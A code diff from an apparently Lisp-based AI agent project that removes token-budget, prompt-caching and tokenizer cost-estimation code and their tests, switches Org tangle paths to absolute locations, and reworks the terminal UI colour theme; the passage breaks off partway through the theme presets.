-                (getf *context-cache* :rendered) rendered)
-          rendered))))
-
-(defun enforce-token-budget (prefix context-text logs-text user-prompt mandates-text
-                             &optional (max-tokens nil))
-  "Enforce per-call token budget via progressive trimming.
-Returns (values prefix context-text logs-text user-prompt mandates-text)
-with trimmed sections."
-  (let ((max (or max-tokens
-                 (ignore-errors
-                   (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
-                 16384)))
-    (labels ((ct (s) (if (fboundp 'count-tokens)
-                        (funcall (symbol-function 'count-tokens) s)
-                        (ceiling (length s) 4)))
-             (total-tokens (p c l u m)
-             (+ (ct p)
-                (if c (ct c) 0)
-                (ct l)
-                (ct u)
-                (if m (ct m) 0))))
-      (let ((total (total-tokens prefix context-text logs-text user-prompt mandates-text)))
-        (when (> total max)
-          (log-message "TOKEN BUDGET: ~d tokens exceeds max ~d, trimming..."
-                       total max)
-          ;; L1: truncate logs to last 5 lines
-          (let* ((log-lines (uiop:split-string logs-text :separator '(#\Newline)))
-                 (trimmed (if (> (length log-lines) 5)
-                              (format nil "~{~a~^~%~}" (last log-lines 5))
-                              logs-text)))
-            (setf total (total-tokens prefix context-text trimmed user-prompt mandates-text)
-                  logs-text trimmed)
-            (when (> total max)
-              ;; L2: drop standing mandates
-              (setf total (total-tokens prefix context-text logs-text user-prompt nil)
-                    mandates-text nil)
-              (when (> total max)
-                ;; L3: downgrade context to summary
-                (let ((ctxt-lines (uiop:split-string (or context-text "") :separator '(#\Newline))))
-                  (setf context-text
-                        (format nil "[Context trimmed: ~d items]" (length ctxt-lines)))))))))
-      (values prefix context-text logs-text user-prompt mandates-text))))
-
-(defun token-economics-initialize ()
-  "Zero cache state at daemon boot."
-  (setf (car *prompt-prefix-cache*) nil
-        (cdr *prompt-prefix-cache*) ""
-        (getf *context-cache* :foveal-id) nil
-        (getf *context-cache* :scope) nil
-        (getf *context-cache* :memory-timestamp) 0
-        (getf *context-cache* :rendered) ""))
-
-(defun context-usage-percentage ()
-  "Returns integer 0-100: current token budget consumption.
-Returns nil when no context cache data is available."
-  (let* ((limit (or (ignore-errors
-                      (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
-                    16384))
-         (tokens (+ (or (getf *context-cache* :identity-tokens) 0)
-                    (or (getf *context-cache* :tool-tokens) 0)
-                    (or (getf *context-cache* :context-tokens) 0)
-                    (or (getf *context-cache* :log-tokens) 0)
-                    (or (getf *context-cache* :config-tokens) 0)
-                    (or (getf *context-cache* :time-tokens) 0))))
-    (if (> tokens 0)
-        (min 100 (floor (* 100 tokens) limit))
-        nil)))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-token-economics-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:token-economics-suite))
-
-(in-package :passepartout-token-economics-tests)
-
-(def-suite token-economics-suite
-    :description "Prompt prefix caching, incremental context, token budget")
-(in-suite token-economics-suite)
-
-(test test-prompt-prefix-cached-identity
-  "Contract 1: prompt-prefix-cached includes identity-content when provided."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached
-                 "Agent" "### Mode: concise" "" nil "No tools")))
-    (is (stringp prefix))
-    (is (search "IDENTITY" prefix))
-    (is (search "Mode: concise" prefix))
-    (is (search "TOOLS" prefix))))
-
-(test test-prompt-prefix-cached-builds
-  "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
-    (is (stringp prefix))
-    (is (search "IDENTITY" prefix))
-    (is (search "TOOLS" prefix))))
-
-(test test-prompt-prefix-cached-hits
-  "Contract 1: second call with same inputs returns cached result."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
-    (is (string= p1 p2))))
-
-(test test-prompt-prefix-cached-miss
-  "Contract 1: different inputs rebuild the cache."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
-    (is (not (string= p1 p2)))
-    (is (search "Bot" p2))))
-
-(test test-context-assemble-cached-skips-heartbeat
-  "Contract 2: heartbeat sensors skip context assembly, return nil."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :heartbeat)))
-    (is (null result))))
-
-(test test-context-assemble-cached-skips-delegation
-  "Contract 2: delegation sensors also skip assembly."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :delegation)))
-    (is (null result))))
-
-(test test-context-assemble-cached-non-skip
-  "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :user-input)))
-    (is (stringp result))
-    (is (> (length result) 0))))
-
-(test test-enforce-token-budget-passthrough
-  "Contract 3: under-budget prompts pass through unchanged."
-  (multiple-value-bind (p c l u m)
-      (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
-    (is (string= "hi" p))
-    (is (string= "ctxt" c))
-    (is (string= "log" l))
-    (is (string= "user" u))
-    (is (null m))))
-
-(test test-enforce-token-budget-trims
-  "Contract 3: over-budget prompts get trimmed."
-  (let ((big-prefix (make-string 20000 :initial-element #\x)))
-    (multiple-value-bind (p c l u m)
-        (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
-      (declare (ignore p l u m))
-      ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
-      (is (or (stringp c) (null c)))
-      (is (search "[Context trimmed" (or c ""))))))
-
-(test test-token-economics-initialize
-  "Contract 4: initialize zeroes all cache state."
-  (setf (car passepartout::*prompt-prefix-cache*) 12345
-        (cdr passepartout::*prompt-prefix-cache*) "stale")
-  (setf (getf passepartout::*context-cache* :rendered) "stale context")
-  (passepartout::token-economics-initialize)
-  (is (null (car passepartout::*prompt-prefix-cache*)))
-  (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
-  (is (string= "" (getf passepartout::*context-cache* :rendered))))
-#+end_src* v0.8.0 Tests — Context Usage
-#+begin_src lisp
-(in-package :passepartout-token-economics-tests)
-
-(test test-context-usage-percentage
-  "Contract 5: context-usage-percentage returns integer 0-100."
-  ;; Set up a cache with known token counts
-  (let* ((ctx passepartout::*context-cache*)
-         (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
-                    16384)))
-    (setf (getf ctx :identity-tokens) 1000
-          (getf ctx :tool-tokens) 500
-          (getf ctx :context-tokens) 2000
-          (getf ctx :log-tokens) 800
-          (getf ctx :config-tokens) 200
-          (getf ctx :time-tokens) 100)
-    (let ((pct (passepartout::context-usage-percentage)))
-      (is (integerp pct))
-      (is (<= 0 pct 100)))))
-
-(test test-context-usage-percentage-empty-cache
-  "Contract 5: context-usage-percentage returns nil with no cache data."
-  (let ((saved-ctx (copy-list passepartout::*context-cache*)))
-    (unwind-protect
-         (progn
-           (setf (getf passepartout::*context-cache* :identity-tokens) nil
-                 (getf passepartout::*context-cache* :tool-tokens) nil
-                 (getf passepartout::*context-cache* :context-tokens) nil
-                 (getf passepartout::*context-cache* :log-tokens) nil
-                 (getf passepartout::*context-cache* :config-tokens) nil
-                 (getf passepartout::*context-cache* :time-tokens) nil)
-           (is (null (passepartout::context-usage-percentage))))
-      (setf passepartout::*context-cache* saved-ctx))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-token-economics-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:token-economics-suite))
-
-(in-package :passepartout-token-economics-tests)
-
-(def-suite token-economics-suite
-    :description "Prompt prefix caching, incremental context, token budget")
-(in-suite token-economics-suite)
-
-(test test-prompt-prefix-cached-identity
-  "Contract 1: prompt-prefix-cached includes identity-content when provided."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached
-                 "Agent" "### Mode: concise" "" nil "No tools")))
-    (is (stringp prefix))
-    (is (search "IDENTITY" prefix))
-    (is (search "Mode: concise" prefix))
-    (is (search "TOOLS" prefix))))
-
-(test test-prompt-prefix-cached-builds
-  "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
-    (is (stringp prefix))
-    (is (search "IDENTITY" prefix))
-    (is (search "TOOLS" prefix))))
-
-(test test-prompt-prefix-cached-hits
-  "Contract 1: second call with same inputs returns cached result."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
-    (is (string= p1 p2))))
-
-(test test-prompt-prefix-cached-miss
-  "Contract 1: different inputs rebuild the cache."
-  (setf (car passepartout::*prompt-prefix-cache*) nil
-        (cdr passepartout::*prompt-prefix-cache*) "")
-  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
-        (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
-    (is (not (string= p1 p2)))
-    (is (search "Bot" p2))))
-
-(test test-context-assemble-cached-skips-heartbeat
-  "Contract 2: heartbeat sensors skip context assembly, return nil."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :heartbeat)))
-    (is (null result))))
-
-(test test-context-assemble-cached-skips-delegation
-  "Contract 2: delegation sensors also skip assembly."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :delegation)))
-    (is (null result))))
-
-(test test-context-assemble-cached-non-skip
-  "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
-  (let ((result (passepartout::context-assemble-cached
-                 '(:foveal-focus "id1") :user-input)))
-    (is (stringp result))
-    (is (> (length result) 0))))
-
-(test test-enforce-token-budget-passthrough
-  "Contract 3: under-budget prompts pass through unchanged."
-  (multiple-value-bind (p c l u m)
-      (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
-    (is (string= "hi" p))
-    (is (string= "ctxt" c))
-    (is (string= "log" l))
-    (is (string= "user" u))
-    (is (null m))))
-
-(test test-enforce-token-budget-trims
-  "Contract 3: over-budget prompts get trimmed."
-  (let ((big-prefix (make-string 20000 :initial-element #\x)))
-    (multiple-value-bind (p c l u m)
-        (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
-      (declare (ignore p l u m))
-      ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
-      (is (or (stringp c) (null c)))
-      (is (search "[Context trimmed" (or c ""))))))
-
-(test test-token-economics-initialize
-  "Contract 4: initialize zeroes all cache state."
-  (setf (car passepartout::*prompt-prefix-cache*) 12345
-        (cdr passepartout::*prompt-prefix-cache*) "stale")
-  (setf (getf passepartout::*context-cache* :rendered) "stale context")
-  (passepartout::token-economics-initialize)
-  (is (null (car passepartout::*prompt-prefix-cache*)))
-  (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
-  (is (string= "" (getf passepartout::*context-cache* :rendered))))
-#+end_src* v0.8.0 Tests — Context Usage
-#+begin_src lisp
-(in-package :passepartout-token-economics-tests)
-
-(test test-context-usage-percentage
-  "Contract 5: context-usage-percentage returns integer 0-100."
-  ;; Set up a cache with known token counts
-  (let* ((ctx passepartout::*context-cache*)
-         (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
-                    16384)))
-    (setf (getf ctx :identity-tokens) 1000
-          (getf ctx :tool-tokens) 500
-          (getf ctx :context-tokens) 2000
-          (getf ctx :log-tokens) 800
-          (getf ctx :config-tokens) 200
-          (getf ctx :time-tokens) 100)
-    (let ((pct (passepartout::context-usage-percentage)))
-      (is (integerp pct))
-      (is (<= 0 pct 100)))))
-
-(test test-context-usage-percentage-empty-cache
-  "Contract 5: context-usage-percentage returns nil with no cache data."
-  (let ((saved-ctx (copy-list passepartout::*context-cache*)))
-    (unwind-protect
-         (progn
-           (setf (getf passepartout::*context-cache* :identity-tokens) nil
-                 (getf passepartout::*context-cache* :tool-tokens) nil
-                 (getf passepartout::*context-cache* :context-tokens) nil
-                 (getf passepartout::*context-cache* :log-tokens) nil
-                 (getf passepartout::*context-cache* :config-tokens) nil
-                 (getf passepartout::*context-cache* :time-tokens) nil)
-           (is (null (passepartout::context-usage-percentage))))
-      (setf passepartout::*context-cache* saved-ctx))))

lisp/tokenizer.lisp

@@ -1,146 +0,0 @@
-(in-package :passepartout)
-
-(defparameter *model-token-ratios*
-  '((:gpt-4o-mini        . 4.0)
-    (:gpt-4o             . 4.0)
-    (:gpt-3.5-turbo      . 4.0)
-    (:claude-3-5-sonnet  . 4.5)
-    (:claude-3-opus      . 4.5)
-    (:claude-3-haiku     . 4.5)
-    (:deepseek-chat      . 4.0)
-    (:deepseek-reasoner  . 4.0)
-    (:llama-3.1-70b      . 3.5)
-    (:llama-3.1-405b     . 3.5)
-    (:gemini-2.0-flash   . 4.0)
-    (:gemini-1.5-pro     . 4.0)
-    (:openrouter/auto    . 4.0))
-  "Estimated characters per token for each model family.")
-
-(defparameter *default-token-ratio* 4.0
-  "Fallback characters-per-token ratio when model is unknown.")
-
-(defun model-token-ratio (model-keyword)
-  "Returns the estimated characters-per-token for MODEL-KEYWORD.
-Falls back to *DEFAULT-TOKEN-RATIO* for unknown models."
-  (or (cdr (assoc model-keyword *model-token-ratios*))
-      *default-token-ratio*))
-
-(defun count-tokens (text &key model)
-  "Returns the estimated token count for TEXT.
-Uses character-count / ratio heuristic calibrated per model family.
-MODEL is a keyword identifying the model (e.g. :gpt-4o-mini)."
-  (let ((clean (if (stringp text) text (format nil "~a" text))))
-    (ceiling (length clean) (model-token-ratio model))))
-
-(defparameter *token-prices*
-  '((:gpt-4o-mini        . 0.15)     ; $0.15/1M input tokens
-    (:gpt-4o             . 2.50)     ; $2.50/1M input tokens
-    (:gpt-3.5-turbo      . 0.50)     ; $0.50/1M input tokens
-    (:claude-3-5-sonnet  . 3.00)     ; $3.00/1M input tokens
-    (:claude-3-opus      . 15.00)    ; $15.00/1M input tokens
-    (:claude-3-haiku     . 0.25)     ; $0.25/1M input tokens
-    (:deepseek-chat      . 0.27)     ; $0.27/1M input tokens
-    (:deepseek-reasoner  . 0.55)     ; $0.55/1M input tokens
-    (:llama-3.1-70b      . 0.59)     ; Groq: $0.59/1M
-    (:llama-3.1-405b     . 1.30)     ; NVIDIA NIM: ~$1.30/1M
-    (:gemini-2.0-flash   . 0.10)     ; $0.10/1M input
-    (:gemini-1.5-pro     . 1.25))    ; $1.25/1M input
-  "Provider pricing in USD per 1M input tokens.
-Prices sourced as of 2026-05. Output tokens cost 2-5× more;
-we bill at input rates as a conservative estimate.")
-
-(defun token-cost (model token-count)
-  "Returns the estimated cost in USD for TOKEN-COUNT tokens at MODEL's price.
-Returns 0.0 for unknown models."
-  (let ((price-per-1m (or (cdr (assoc model *token-prices*)) 0.0)))
-    (* (/ price-per-1m 1000000.0) token-count)))
-
-(defparameter *provider-default-models*
-  '((:deepseek   . :deepseek-chat)
-    (:openai     . :gpt-4o-mini)
-    (:anthropic  . :claude-3-5-sonnet)
-    (:groq       . :llama-3.1-70b)
-    (:gemini     . :gemini-2.0-flash)
-    (:nvidia     . :llama-3.1-405b)
-    (:openrouter . :openrouter/auto))
-  "Maps provider keywords to their default model families for cost tracking.")
-
-(defun provider-token-cost (provider token-count)
-  "Returns the estimated cost in USD for a given PROVIDER and TOKEN-COUNT.
-Uses the provider's default model for pricing."
-  (let ((model (cdr (assoc provider *provider-default-models*))))
-    (if model
-        (token-cost model token-count)
-        0.0)))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-tokenizer-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:tokenizer-suite))
-
-(in-package :passepartout-tokenizer-tests)
-
-(def-suite tokenizer-suite :description "Token counting and cost estimation")
-(in-suite tokenizer-suite)
-
-(test test-count-tokens-default
-  "Contract 1: count-tokens returns non-zero for a non-empty string."
-  (let ((count (count-tokens "hello world")))
-    (is (> count 0))
-    (is (integerp count))))
-
-(test test-count-tokens-known-model
-  "Contract 1: count-tokens with a known model returns a count."
-  (let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
-    (is (> count 0))
-    (is (integerp count))))
-
-(test test-count-tokens-unknown-model
-  "Contract 1: count-tokens with an unknown model falls back to default."
-  (let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
-    (is (> count 0))
-    (is (integerp count))))
-
-(test test-count-tokens-empty
-  "Contract 1: count-tokens on empty string returns 0."
-  (let ((count (count-tokens "")))
-    (is (= 0 count))))
-
-(test test-model-token-ratio-known
-  "Contract 2: known model returns correct ratio."
-  (is (= 4.0 (model-token-ratio :gpt-4o-mini)))
-  (is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
-  (is (= 3.5 (model-token-ratio :llama-3.1-70b))))
-
-(test test-model-token-ratio-unknown
-  "Contract 2: unknown model returns default ratio."
-  (is (= 4.0 (model-token-ratio :unknown-model-abc))))
-
-(test test-token-cost-known
-  "Contract 3: token-cost returns a number for known model."
-  (let ((cost (token-cost :gpt-4o-mini 1000)))
-    (is (numberp cost))
-    (is (> cost 0.0))))
-
-(test test-token-cost-unknown
-  "Contract 3: token-cost returns 0.0 for unknown model."
-  (is (= 0.0 (token-cost :no-such-model 1000))))
-
-(test test-provider-token-cost
-  "Contract: provider-token-cost maps provider to model price."
-  (let ((cost (provider-token-cost :deepseek 1000)))
-    (is (numberp cost))
-    (is (> cost 0.0))))
-
-(test test-count-tokens-ratio-sensitivity
-  "Contract 1: longer text produces proportionally more tokens."
-  (let ((short (count-tokens "hi" :model :gpt-4o-mini))
-        (long  (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
-    (is (> long short))))
-
-(test test-count-tokens-non-string
-  "Contract 1: non-string values are coerced and counted."
-  (let ((count (count-tokens 12345)))
-    (is (> count 0))))

org/channel-cli.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: CLI Gateway (org-skill-cli-gateway.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:gateway:cli:
-#+PROPERTY: header-args:lisp :tangle ../lisp/channel-cli.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/channel-cli.lisp
 
 * Overview
 The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout over TCP. It connects to the daemon's framed protocol and translates between terminal input/output and the plist-based communication format. No TUI, no ncurses, no dependencies beyond a TCP socket. Every other gateway (TUI, Emacs, Telegram) builds on this same protocol.

org/channel-discord.org

@@ -1,7 +1,7 @@
 #+TITLE: Channel Discord (channel-discord.org)
 #+AUTHOR: Agent
 #+FILETAGS: :channel:discord:
-#+PROPERTY: header-args:lisp :tangle ../lisp/channel-discord.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/channel-discord.lisp
 
 * Channel Discord
 

org/channel-shell.org

@@ -1,7 +1,7 @@
 #+TITLE: SKILL: Shell Actuator (org-skill-shell-actuator.org)
 #+AUTHOR: Agent
 #+FILETAGS: :skill:actuator:shell:
-#+PROPERTY: header-args:lisp :tangle ../lisp/channel-shell.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/channel-shell.lisp
 
 * Overview: The Physical Actuator
 

org/channel-signal.org

@@ -1,7 +1,7 @@
 #+TITLE: Channel Signal (channel-signal.org)
 #+AUTHOR: Agent
 #+FILETAGS: :channel:signal:
-#+PROPERTY: header-args:lisp :tangle ../lisp/channel-signal.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/channel-signal.lisp
 
 * Channel Signal
 

org/channel-slack.org

@@ -1,7 +1,7 @@
 #+TITLE: Channel Slack (channel-slack.org)
 #+AUTHOR: Agent
 #+FILETAGS: :channel:slack:
-#+PROPERTY: header-args:lisp :tangle ../lisp/channel-slack.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/channel-slack.lisp
 
 * Channel Slack
 

org/channel-telegram.org

@@ -1,7 +1,7 @@
 #+TITLE: Channel Telegram (channel-telegram.org)
 #+AUTHOR: Agent
 #+FILETAGS: :channel:telegram:
-#+PROPERTY: header-args:lisp :tangle ../lisp/channel-telegram.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/channel-telegram.lisp
 
 * Channel Telegram
 

org/channel-tui-state.org

@@ -1,71 +1,11 @@
 #+TITLE: Passepartout TUI — Model
-#+PROPERTY: header-args:lisp :tangle ../lisp/channel-tui-state.lisp
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui-state.lisp
 
 * Model
 
 The TUI state is a single plist accessed via ~st~ / ~(setf st)~.
 All state mutation flows through event handlers in the controller.
 
-** v0.8.0 — Information Radiator: Sidebar State
-
-The sidebar is Passepartout's permanent UX differentiator — a 42-column
-information panel that renders architectural data no competitor can display
-because none has deterministic gates, foveal-peripheral context, or
-rule-synthesizing Dispatcher to feed it. The sidebar makes the invisible
-visible: seven panels of zero-LLM-token data from the deterministic layer,
-always on screen when terminal width permits.
-
-The sidebar reads its data from daemon response fields enriched by the
-~:tui~ actuator in ~core-act.org~. All seven panels consume existing
-infrastructure: gate trace from ~cognitive-verify~ (v0.4.0), focus from
-~*loop-focus-id*~ (v0.3.0), rules from ~*hitl-pending*~ (v0.3.0), context
-from ~token-economics~ (v0.5.0), files from tool execution tracking
-(v0.8.0 new), cost from ~cost-tracker~ (v0.5.0), and block counts from
-the Dispatcher (v0.8.0 new). Each field arrives as a daemon-response
-plist key; the TUI stores them in state fields read by ~view-sidebar~.
-
-When the terminal is narrower than 120 columns, the sidebar collapses to
-an overlay toggled via ~/sidebar~ or ~Ctrl+X+B~. This preserves the
-information radiator on constrained displays without sacrificing chat
-area real estate.
-
-State additions: ~:sidebar-visible~ (boolean), ~:block-counts~ (alist),
-~:context-usage~ (integer 0-100), ~:modified-files~ (list of plists),
-~:session-cost~ (plist).
-
-** v0.8.0 — TrueColor Theme System
-
-The existing theme system uses Croatoan's standard 8-color palette
-(cyan, green, red, white, etc.). v0.8.0 upgrades to 24-bit TrueColor
-via Croatoan's ~set-rgb~ / ~init-color~ primitives, enabling hex-specified
-colors (#5E81AC, #BF616A, etc.) on supporting terminals (iTerm2, Kitty,
-WezTerm, Windows Terminal, Ghostty).
-
-The upgrade is backward compatible: terminals without TrueColor fall
-back to the nearest standard color. Hex values are parsed by
-~theme-hex-to-rgb~ (one-line format string → integer triple) and
-registered once at theme-switch time via ~theme-init-truecolor~.
-Subsequent ~theme-color~ lookups return the Croatoan color ID, same
-API as the 8-color system.
-
-Four new presets join the existing four (dark, light, solarized, gruvbox):
-- ~:nord~ — blue-gray backgrounds, frost accent
-- ~:tokyonight~ — purple-blue backgrounds, teal accent
-- ~:catppuccin~ — warm pastels, mauve accent
-- ~:monokai~ — dark brown backgrounds, orange accent
-
-Each preset defines 27 hex color values, one per semantic key in
-~*tui-theme*~. The 27 keys are:
-roles (user, agent, system), content (input, timestamp, help, error,
-warning), status (connected, disconnected, busy, idle), gate trace
-(passed, blocked, approval, hitl), tools (running, success, failure,
-output), display (scroll-indicator, border, background), differentiator
-(rule-count, focus-map), and UI (dim, highlight, accent).
-
-An audit ensures every key from ~*tui-theme*~ is consumed by at least one
-rendering function in ~channel-tui-view.org~. Missing keys become invisible
-theme presets — defined but unused.
-
 ** Contract
 
 1. (init-state): returns a fresh state plist with ~:msgs~ list,
@@ -75,26 +15,16 @@ theme presets — defined but unused.
    and optional gate-trace from the daemon (v0.4.0).
 3. (queue-event ev): thread-safely enqueues an event for the
    reader loop. (drain-queue) returns and clears the queue.
-4. (theme-hex-to-rgb hex-string): parses ~"#RRGGBB"~ to
-   ~(values r g b)~ integers 0-255. Returns ~(values 255 255 255)~
-   for unparseable input (v0.8.0).
-5. (theme-init-truecolor): registers hex color values from
-   ~*tui-theme*~ with Croatoan's ~init-color~ / ~set-rgb~. No-op
-   on terminals without TrueColor support (v0.8.0).
-6. (theme-color key): extended contract (v0.8.0): if the ~*tui-theme*~
-   entry for ~key~ is a hex string, returns the Croatoan color ID
-   registered by ~theme-init-truecolor~. Falls back to keyword
-   lookup for non-hex entries and non-TrueColor terminals.
-7. (sidebar-toggle): toggles ~:sidebar-visible~ state. Sets dirty
-   flags to force sidebar redraw (v0.8.0).
 
 ** Package + State
-#+begin_src lisp
+#+BEGIN_SRC lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui-state.lisp
 (defpackage :passepartout.channel-tui
-  (:use :cl :croatoan :passepartout :usocket :bordeaux-threads)
+  (:use :cl :passepartout :usocket :bordeaux-threads)
   (:export :tui-main :st :add-msg :now :input-string
            :queue-event :drain-queue :init-state
-           :view-status :view-chat :view-input :redraw
+            :view-status :view-chat :view-input :redraw
+            :position-cursor
+            :input-panel-top
            :on-key :on-daemon-msg :send-daemon
            :connect-daemon :disconnect-daemon
            :*tui-theme* :theme-color))
@@ -105,98 +35,224 @@ theme presets — defined but unused.
 (defvar *event-lock* (bt:make-lock "tui-event-lock"))
 
 (defvar *tui-theme*
-  ;; Roles
-  '(:user :green :agent :white :system :yellow
-    ;; Content
-    :input :cyan :timestamp :yellow :help :cyan :error :red :warning :yellow
-    ;; Status
-    :connected :green :disconnected :red :busy :magenta :idle :white
-    ;; Gate trace
-    :gate-passed :green :gate-blocked :red :gate-approval :yellow
-    :hitl :magenta
-    ;; Tools (future use)
-    :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
-    ;; Display
-    :scroll-indicator :cyan :border :white :background :black
-    ;; Differentiator (v0.4.0)
-    :rule-count :cyan :focus-map :yellow
-    ;; UI
-    :dim :white :highlight :cyan :accent :green)
-  "Color theme plist. 27 semantic keys → Croatoan color values.
-See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
+  '(    :user-fg "#fab283"      :user-bg "#1e1e1e"      :user-border "#fab283"
+    :agent-border "#c0a080" :agent-header "#d4956a" :agent-fg "#e8e8e8"
+    :system "#808080"
+    :input-prompt "#fab283" :input-fg "#e8e8e8"
+    :hint "#606060"
+    :status-bg "#141414"    :status-fg "#e8e8e8"
+    :bg "#0a0a0a"           :bg-panel "#141414"      :bg-element "#1e1e1e"
+    :text-muted "#808080"
+    :dot-connected "#7fd88f" :dot-disconnected "#e06c75"
+    :bg-input "#2e2e2e"
+    :error "#e06c75"
+    :tool-running "#fab283" :tool-done "#7fd88f"    :tool-error "#e06c75"
+    :thinking-bg "#3a3a3a"  :symbolic-border "#707070"
+    :separator "#3c3c3c"    :accent "#fab283"        :dim "#606060")
+  "Dark-neutral color theme with warm amber accent. Backgrounds are dark grays,
+semantic text colors for context. Keys: :bg (deepest), :bg-panel, :bg-element,
+:text-muted, :user-fg/bg/border, :agent-border/header/fg, :system,
+:input-prompt/fg, :hint, :status-bg/fg, :bg-input, :thinking-bg,
+:symbolic-border, :dot-connected/disconnected, :error, :tool-*,
+:separator, :accent, :dim.")
 
 (defvar *tui-theme-presets*
-  '(:dark  (:user :green :agent :white :system :yellow
-            :input :cyan :timestamp :yellow :help :cyan :error :red :warning :yellow
-            :connected :green :disconnected :red :busy :magenta :idle :white
-            :gate-passed :green :gate-blocked :red :gate-approval :yellow
-            :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :white
-            :scroll-indicator :cyan :border :white :background :black
-            :rule-count :cyan :focus-map :yellow
-            :dim :white :highlight :cyan :accent :green)
-    :light (:user :blue :agent :black :system :red
-            :input :black :timestamp :yellow :help :blue :error :red :warning :yellow
-            :connected :green :disconnected :red :busy :magenta :idle :black
-            :gate-passed :green :gate-blocked :red :gate-approval :yellow
-            :tool-running :magenta :tool-success :green :tool-failure :red :tool-output :black
-            :scroll-indicator :blue :border :black :background :white
-            :rule-count :blue :focus-map :red
-            :dim :white :highlight :blue :accent :green)
-    :gruvbox (:user "#458588" :agent "#ebdbb2" :system "#fabd2f"
-              :input "#ebdbb2" :timestamp "#928374" :help "#83a598" :error "#fb4934" :warning "#fabd2f"
-              :connected "#b8bb26" :disconnected "#fb4934" :busy "#d3869b" :idle "#a89984"
-              :gate-passed "#b8bb26" :gate-blocked "#fb4934" :gate-approval "#fabd2f"
-              :tool-running "#d3869b" :tool-success "#b8bb26" :tool-failure "#fb4934" :tool-output "#ebdbb2"
-              :scroll-indicator "#83a598" :border "#a89984" :background "#282828"
-              :rule-count "#83a598" :focus-map "#fabd2f"
-              :dim "#928374" :highlight "#83a598" :accent "#b8bb26")
-    :solarized (:user "#268bd2" :agent "#839496" :system "#b58900"
-                :input "#839496" :timestamp "#93a1a1" :help "#2aa198" :error "#dc322f" :warning "#b58900"
